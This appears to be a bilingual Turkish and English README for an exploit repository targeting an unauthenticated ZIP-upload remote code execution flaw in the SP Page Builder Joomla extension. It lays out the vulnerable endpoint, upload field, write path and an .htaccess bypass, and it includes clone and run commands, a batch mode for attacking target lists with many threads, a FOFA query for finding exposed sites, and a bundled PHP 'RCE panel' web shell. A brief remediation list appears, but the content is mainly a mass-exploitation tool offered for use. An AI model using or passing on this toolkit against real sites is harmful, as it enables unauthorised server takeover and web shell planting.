CVE-2026-48908

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📌 Özet

SP Page Builder (Joomla) — Kimlik doğrulamasız ZIP yükleme → RCE

Ürün	SP Page Builder — com_sppagebuilder (JoomShaper)
Sürüm	≤ 6.6.1
Fixed	6.6.2+ — upload artık admin ister
Auth	Unauthenticated
Vektör	POST …&task=asset.uploadCustomIcon
Field	custom_icon (icon-font ZIP)
Yazılan yer	/media/com_sppagebuilder/assets/iconfont/<pack>/fonts/
Bypass	.PHP + fonts/.htaccess

🛡️ Fix

1. SP Page Builder 6.6.2+ güncelle
2. /media/com_sppagebuilder/ → PHP execution kapat
3. AllowOverride None — .htaccess engelle
4. WAF: custom_icon ZIP POST rate-limit

📦 Kurulum

git clone https://github.com/winrarzipsexploit/CVE-2026-48908.git
cd CVE-2026-48908
pip install -r requirements.txt

Dosya	Görev
winrarzips_brand.py	CMD banner (by winrarzips)
sppb48908_core.py	Exploit motoru
CVE-2026-48908-Suite.py	Batch + tek hedef CLI
CVE-2026-48908.py	Tek hedef wrapper
payloads/x7-panel.php	RCE panel
requirements.txt	Bağımlılıklar

❌ Hedef listesi, tarama sonucu ve panel URL'leri repo'da yok.

🎯 Tek hedef

python CVE-2026-48908-Suite.py -u https://LAB-URL --fingerprint
python CVE-2026-48908-Suite.py -u https://LAB-URL --yes

📦 Toplu (kendi listende)

python CVE-2026-48908-Suite.py -f targets.txt --yes --threads 15

🔍 FOFA

body="com_sppagebuilder"

🏷️ Hata etiketleri

patched_662_plus · upload_rejected · waf_cloudflare · sppb_html_no_json · upload_server_failed

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📌 Summary

SP Page Builder (Joomla) — Unauthenticated ZIP upload → RCE

Product	SP Page Builder — com_sppagebuilder (JoomShaper)
Affected	≤ 6.6.1
Fixed	6.6.2+ — upload requires admin
Auth	Unauthenticated
Vector	POST …&task=asset.uploadCustomIcon
Field	custom_icon (icon-font ZIP)
Write path	/media/com_sppagebuilder/assets/iconfont/<pack>/fonts/
Bypass	.PHP + fonts/.htaccess

🛡️ Remediation

1. Upgrade SP Page Builder to 6.6.2+
2. Disable PHP execution under /media/com_sppagebuilder/
3. AllowOverride None — block .htaccess PHP registration
4. WAF: rate-limit custom_icon ZIP uploads

📦 Setup

git clone https://github.com/winrarzipsexploit/CVE-2026-48908.git
cd CVE-2026-48908
pip install -r requirements.txt

File	Role
winrarzips_brand.py	CMD banner (by winrarzips)
sppb48908_core.py	Exploit core
CVE-2026-48908-Suite.py	Batch + single-target CLI
CVE-2026-48908.py	Single-target wrapper
payloads/x7-panel.php	RCE panel payload
requirements.txt	Dependencies

❌ Target lists, scan results and live panel URLs are not included.

🎯 Single target

python CVE-2026-48908-Suite.py -u https://LAB-URL --fingerprint
python CVE-2026-48908-Suite.py -u https://LAB-URL --yes

📦 Batch (your own list)

python CVE-2026-48908-Suite.py -f targets.txt --yes --threads 15

🔍 FOFA

body="com_sppagebuilder"

🏷️ Error tags

patched_662_plus · upload_rejected · waf_cloudflare · sppb_html_no_json · upload_server_failed

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